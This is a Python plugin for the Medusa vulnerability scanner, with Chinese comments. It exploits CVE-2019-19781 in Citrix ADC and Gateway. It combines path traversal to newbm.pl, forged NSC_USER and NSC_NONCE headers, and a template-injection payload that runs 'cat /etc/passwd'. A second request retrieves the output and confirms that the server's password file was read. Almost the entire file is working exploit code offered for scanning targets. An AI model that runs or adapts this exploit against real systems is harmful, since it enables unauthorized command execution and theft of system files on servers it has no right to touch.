#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib.parse
import requests
import ClassCongregation
import random
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2019-19781" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['createDate'] = "2020-10-13"  # 插件编辑时间
        self.info['disclosure']='2020-10-13'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "CitrixRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='Citrix远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "Citrix"  # 漏洞组件
        self.info['desc_content'] = "攻击者可以对服务器进行任意命令执行，进而接管目标服务器"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "Citrix_ADC和Citrix_Gateway13.0\r\nCitrix_ADC和NetScaler_Gateway12.1\r\nCitrix_ADC和NetScaler_Gateway_12.0\r\nCitrix_ADC和NetScaler_Gateway_11.1\r\nCitrix_NetScaler_ADC和NetScaler_Gateway10.5"   # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port

def rand():
    H = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    salt = ""
    for i in range(15):
        salt += random.choice(H)
    return salt

def medusa(Url,RandomAgent,ProxyIp=None):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    payload = "/vpn/../vpns/portal/scripts/newbm.pl"
    payload_url = scheme + "://" + url +":"+ str(port)+ payload
    randoms = rand()
    try:
        headers = {
            'Accept-Encoding': 'gzip, deflate',
            'Accept': '*/*',
            'Accept-Language': 'en',
            'User-Agent': RandomAgent,
            "Connection": "close",
            "NSC_USER": "../../../netscaler/portal/templates/{}".format(randoms),
            "NSC_NONCE": "nsroot"
        }
        data = "url=http://example.com&title={}&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]".format(
            randoms)
        resp = requests.post(payload_url, data=data, headers=headers, timeout=5, verify=False,
                             allow_redirects=False)
        con = resp.text
        code = resp.status_code
        if code==200 and con.find("parent.window.ns_reload")!=-1:
            payload_url2=scheme + "://" + url +":"+ str(port)+'/vpn/../vpns/portal/{}.xml'.format(randoms)
            headers2={
                "NSC_USER": "nsroot",
                "NSC_NONCE": "nsroot",
                "Upgrade-Insecure-Requests": "1",
                "Cache-Control": "max-age=0",
                'Accept-Encoding': 'gzip, deflate',
                'Accept': '*/*',
                'Accept-Language': 'en',
                'User-Agent': RandomAgent,
            }
            resp2 = requests.get(payload_url2, headers=headers2, timeout=5, verify=False)
            con2=resp2.text
            code2=resp2.status_code
            if code2==200 and con2.find("root:")!=-1 and con2.find("bin:")!=-1 and con2.find("/root")!=-1:
                Medusa = "{} 存在Citrix远程代码执行漏洞\r\n漏洞地址:\r\n{}\r\n使用POST数据包:\r\n{}\r\n返回数据包:\r\n{}\r\n".format(url,payload_url2,data,con2)
                _t=VulnerabilityInfo(Medusa)
                web=ClassCongregation.VulnerabilityDetails(_t.info)
                web.High() # serious表示严重，High表示高危，Intermediate表示中危，Low表示低危
                ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception:
        _ = VulnerabilityInfo('').info.get('algroup')
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名

# if __name__ == '__main__':
#
#     with open(r'../123.txt', 'r') as file:
#         content_lists = file.readlines()
#         url = [x.strip() for x in content_lists]
#         for l in url:
#             medusa(l)
#medusa("http://","Mozilla/5.0(compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)")